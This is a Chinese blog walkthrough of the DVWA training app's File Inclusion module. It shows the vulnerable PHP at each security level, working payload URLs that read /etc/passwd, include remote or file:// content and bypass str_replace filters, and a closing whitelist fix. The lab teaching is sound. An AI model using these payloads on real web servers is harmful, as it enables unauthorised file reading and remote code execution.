DVWA-1.9系列操作之FileInclusion

DVWA-1.9系列一共分爲10個功能模塊:

  • Brute Force(暴力破解)
  • Command Injection(命令行注入)
  • CSRF(跨站請求僞造)
  • File Inclusion(文件包含)
  • File Upload(文件上傳)
  • Insecure CAPTCHA(不安全的驗證碼)
  • SQL Injection(SQL注入)
  • SQL Injection(Blind)(SQL盲注)
  • XSS(Reflected)(反射型跨站腳本)
  • XSS(Stored)(存儲型跨站腳本)

  之前四篇文章分別是:

  這一篇我們繼續介紹第四個功能模塊:File Inclusion(文件包含)

1. File Inclusion簡介

  File Inclusion(文件包含),意思是文件包含(漏洞),是指當服務器開啓allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。文件包含漏洞分爲本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因爲開啓了php配置中的allow_url_fopen選項(選項開啓之後,服務器允許包含一個遠程的文件)。

  該模塊主要實現功能是三個文件的鏈接跳轉,跳轉請求通過GET方式在url參數中顯示。如圖所示:
這裏寫圖片描述

2. Low 安全級別分析

  首先我們把安全級別設置爲Low級別。查看源代碼:

Low

<?php 

    // The page we wish to display 
    $file = $_GET[ 'page' ]; 

?> 

  通過對源代碼進行分析,我們可以看到代碼中對參數“page”沒有做任何過濾,很顯然存在漏洞。

  點擊任意文件查看url:http://192.168.197.136/dvwa/vulnerabilities/fi/?page=file1.php。服務器期望用戶的操作是點擊下面的三個鏈接,服務器會包含相應的文件,並將結果返回。需要特別說明的是,服務器包含文件時,不管文件後綴是否是php,都會嘗試當做php文件執行,如果文件內容確爲php,則會正常執行並返回結果,如果不是,則會原封不動地打印文件內容,所以文件包含漏洞常常會導致任意文件讀取與任意命令執行。

  理想的狀態下我們希望的是使用者點擊下面三個文件鏈接,然後服務器返回結果。然而我們作爲攻擊者,當然不會去乖乖的點擊已經設定好的參數鏈接,而源代碼中我們看到並沒有對page參數做任何檢查和過濾。

漏洞利用

  1. 本地文件包含

  構造攻擊payload:http://192.168.197.136/dvwa/vulnerabilities/fi/?page=/etc/passwd
正好我們的測試服務器是linux系統,所以返回了結果。
如圖所示:
這裏寫圖片描述
2. 遠程文件包含

  當服務器的php配置中,選項allow_url_fopen與allow_url_include爲開啓狀態時,服務器會允許包含遠程服務器上的文件,如果對文件來源沒有檢查的話,就容易導致任意遠程代碼執行。

在一臺服務器中構造一個文件:http://192.168.197.136/info.txt,文件內容如下:

這裏寫圖片描述

構造攻擊payload:”http://192.168.197.136/dvwa/vulnerabilities/fi/?page=http://192.168.197.136/info.txt

查看執行情況:
這裏寫圖片描述
可以看到文件中的phpinfo()函數被執行。

3. Medium 安全級別分析

  首先我們把安全級別設置爲Medium級別。查看源代碼:

Medium

<?php 

    // The page we wish to display 
    $file = $_GET[ 'page' ]; 

    // Input validation 
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", "..\"" ), "", $file ); 

?>

可以看到,Medium級別的代碼增加了str_replace函數,對page參數進行了一定的處理,將”http:// ”、”https://”、 ” ../”、”..\”替換爲空字符,即刪除。

漏洞利用

同樣的我們還是可以分爲本地文件包含和遠程文件包含。

  1. 本地文件包含

由於本地文件包含我們的測試服務器是linux服務器,所以源代碼中的對“../”的替換對我們執行的payload沒有造成影響,我們依然可以執行LOW端的payload:http://192.168.197.136/dvwa/vulnerabilities/fi/?page=/etc/passwd。查看執行情況:如圖所示:
這裏寫圖片描述我們可以看到代碼仍然被執行。
 2. 遠程文件包含

   通過對源代碼進行查看我們可以看到源代碼中通過str_replace函數把http://替換爲空,所以我們正好可以利用這一點構造payload。
payload:http://192.168.197.136/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.197.136/info.txt,當str_replace函數把http://字符串刪除時正好構造了原來的payload:http://192.168.197.136/dvwa/vulnerabilities/fi/?page=http://192.168.197.136/info.txt

查看執行情況:
這裏寫圖片描述,可以看到文件依然執行了。

4. High 安全級別分析

  首先我們把安全級別設置爲High級別。查看源代碼:

High

<?php 

    // The page we wish to display 
    $file = $_GET[ 'page' ]; 

    // Input validation 
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
        // This isn't the page we want! 
        echo "ERROR: File not found!"; 
        exit; 
    } 

?>

通過對源代碼進行分析,我們可以看到代碼中只允許以“file”字符串開頭的文件或者只能是include.php這兩種文件。其他方式的輸入一律返回ERROR。

但是以file字符串開頭的我們依然可以構造遠程文件包含:我們通過瀏覽器打開本地文件時可以發現使用的就是file協議,以file字符串開頭:
這裏寫圖片描述.

構造攻擊payload:http://192.168.197.136/dvwa/vulnerabilities/fi/?page=file:///var/www/html/info.txt

查看結果:
這裏寫圖片描述可以看到結果依然被執行出來了。
至於執行任意命令,需要配合文件上傳漏洞利用。首先需要上傳一個內容爲php的文件,然後再利用file協議去包含上傳文件(需要知道上傳文件的絕對路徑),從而實現任意命令執行。

5. Impossible 安全級別分析

  首先我們把安全級別設置爲Impossible級別。查看源代碼:

Impossible

<?php 

    // The page we wish to display 
    $file = $_GET[ 'page' ]; 

    // Only allow include.php or file{1..3}.php 
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
        // This isn't the page we want! 
        echo "ERROR: File not found!"; 
        exit; 
    } 

?>

可以看到,Impossible級別的代碼使用了白名單機制進行防護,簡單粗暴,page參數必須爲“include.php”、“file1.php”、“file2.php”、“file3.php”之一,徹底杜絕了文件包含漏洞。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章